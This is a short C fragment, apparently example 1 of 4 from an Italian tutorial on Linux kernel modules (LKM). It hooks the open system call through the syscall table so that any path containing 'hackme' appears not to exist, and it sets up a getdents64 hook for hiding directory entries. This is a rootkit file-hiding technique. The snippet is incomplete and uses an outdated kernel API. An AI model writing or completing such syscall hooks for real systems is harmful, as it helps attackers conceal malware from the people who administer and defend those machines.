LKM
Esempio 1/4
#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
#include <linux/sched.h>

extern void *sys_call_table[];
struct linux_dirent64 {
   u64             d_ino;
   s64             d_off;
   unsigned short  d_reclen;
   unsigned char   d_type;
   char            d_name[0];
};

int (*o_open)(char *path, int flags, int mode);
long (*o_getdents64)(unsigned int fd, struct linux_dirent64 *dirp, 
                     unsigned int count);

int n_open(char *path, int flags, int mode) {
  if(strstr(path, "hackme")) return -ENOENT;
  return o_open(path, flags, mode);
}